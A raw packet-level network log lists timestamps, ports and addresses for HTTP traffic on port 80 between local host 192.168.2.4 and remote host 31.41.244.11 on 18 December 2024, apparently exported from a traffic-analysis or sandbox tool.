Dec 18, 2024 17:08:23.457647085 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.457700968 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.457757950 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.457804918 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.458818913 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.458893061 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.458971977 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.459017038 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.459925890 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.459984064 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.460057020 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.460127115 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.460859060 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.460915089 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.460973024 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.461019993 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.462091923 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.462150097 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.462255955 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.462304115 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.463290930 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.463351965 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.463399887 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.463444948 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.464541912 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.464597940 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.464819908 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.464903116 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.465682983 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.465738058 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.465913057 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.465967894 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.466655016 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.466708899 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.466806889 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.466855049 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.467597961 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.467648983 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.467725039 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.467775106 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.468561888 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.468611002 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.468676090 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.468741894 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.469691992 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.469738960 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.469826937 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.469871998 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.470738888 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.470793009 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.470922947 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.470968962 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.472052097 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.472103119 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.472172022 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.472215891 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.473150969 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.473201036 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.473280907 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.473331928 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.474123955 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.474184990 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.474236965 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.474278927 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.475235939 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.475285053 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.475559950 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.475608110 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.476464987 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.476519108 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.476568937 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.476613045 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.477423906 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.477468967 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.477875948 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.477946043 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.478445053 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.478492975 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.478576899 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.478621960 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.479513884 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.479578018 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.479599953 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.479644060 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.480704069 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.480766058 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.480839014 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.480887890 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.481662989 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.481724977 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.481792927 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.481842041 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.482815981 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.482867002 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.483341932 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.483386993 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.484148979 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.484198093 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.484222889 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.484267950 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.484931946 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.484981060 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.485085011 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.485133886 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.486064911 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.486116886 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.486217022 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.486278057 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.487117052 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.487166882 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.487241030 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.487292051 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.488229036 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.488282919 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.488403082 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.488449097 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.489496946 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.489552021 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.489614964 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.489664078 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.490469933 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.490520954 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.490554094 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.490602016 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.626290083 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.626357079 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.626447916 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.626761913 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.626823902 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.626902103 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.626986980 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.627931118 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.627995968 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.628046036 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.628160000 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.628926039 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.629081964 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.629112005 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.629172087 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.630053043 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.630106926 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.630239010 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.630317926 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.631105900 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.631180048 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.631272078 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.631336927 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.632268906 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.632320881 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.632359982 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.632682085 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.633352041 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.633400917 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.633467913 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.633546114 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.634409904 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.634473085 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.634605885 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.634731054 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.635476112 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.635541916 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.635615110 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.635693073 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.636665106 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.636759043 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.636802912 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.637793064 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.637855053 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.638112068 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.638206959 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.638911009 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.638957977 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.639008045 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.639889002 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.639950037 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.640013933 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.640161991 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.641047001 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.641102076 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.641176939 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.641230106 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.642050982 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.642164946 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.642271042 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.642271042 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.643193007 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.643265963 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.643348932 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.643522024 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.644280910 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.644388914 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.644490957 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.644536018 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.645374060 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.645454884 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.645565033 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.645608902 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.646406889 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.646591902 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.646610022 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.646692991 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.647540092 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.647610903 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.647661924 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.647736073 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.648643017 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.648746014 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.648768902 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.648813963 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.649799109 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.649887085 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.649930954 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.649972916 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.650782108 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.650898933 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.650943995 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.651882887 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.651959896 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.651994944 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.652043104 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.652981997 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.653053045 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.653192997 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.653270960 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.654093027 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.654201984 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.654213905 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.654244900 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.655185938 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.655236959 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.655271053 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.655345917 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.656243086 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.656294107 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.656357050 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.656414032 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.657516003 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.657605886 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.657614946 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.657660007 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.658644915 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.658725023 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.658759117 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.658819914 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.659594059 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.659759045 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.659796953 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.659820080 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.660640001 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.660692930 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.660865068 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.660968065 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.661699057 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.661758900 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.661823034 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.661869049 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.662906885 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.662996054 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.663026094 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.663057089 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.663984060 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.664035082 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.664195061 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.664288998 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.665087938 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.665168047 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.665199041 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.665247917 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.666115999 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.666183949 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.666218996 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.666268110 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.667557001 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.667607069 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.667669058 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.667716980 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.668915033 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.668967962 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.669029951 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.669101954 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.670588017 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.670636892 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.670756102 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.670804024 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.670994997 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.671037912 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.671256065 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.671303988 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.672099113 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.672152996 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.672293901 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.672348976 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.673171997 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.673228979 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.673233032 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.673285007 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.674118996 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.674196005 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.674209118 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.674237013 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.675062895 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.675111055 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.675143003 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.675189018 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.676179886 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.676234961 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.676321030 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.676407099 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.677330017 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.677382946 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.677520037 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.677570105 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.678137064 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.678248882 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.678250074 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.678294897 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.679200888 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.679318905 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.679404020 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.679465055 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.680399895 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.680530071 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.680581093 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.681505919 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.681647062 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.681701899 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.682559013 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.682609081 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.682662010 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.682703972 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.683549881 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.683598995 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.818212986 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.818258047 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.818358898 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.818388939 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.818614006 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.818661928 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.818768978 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.818814993 CET	49771	80	192.168.2.4	31.41.244.11
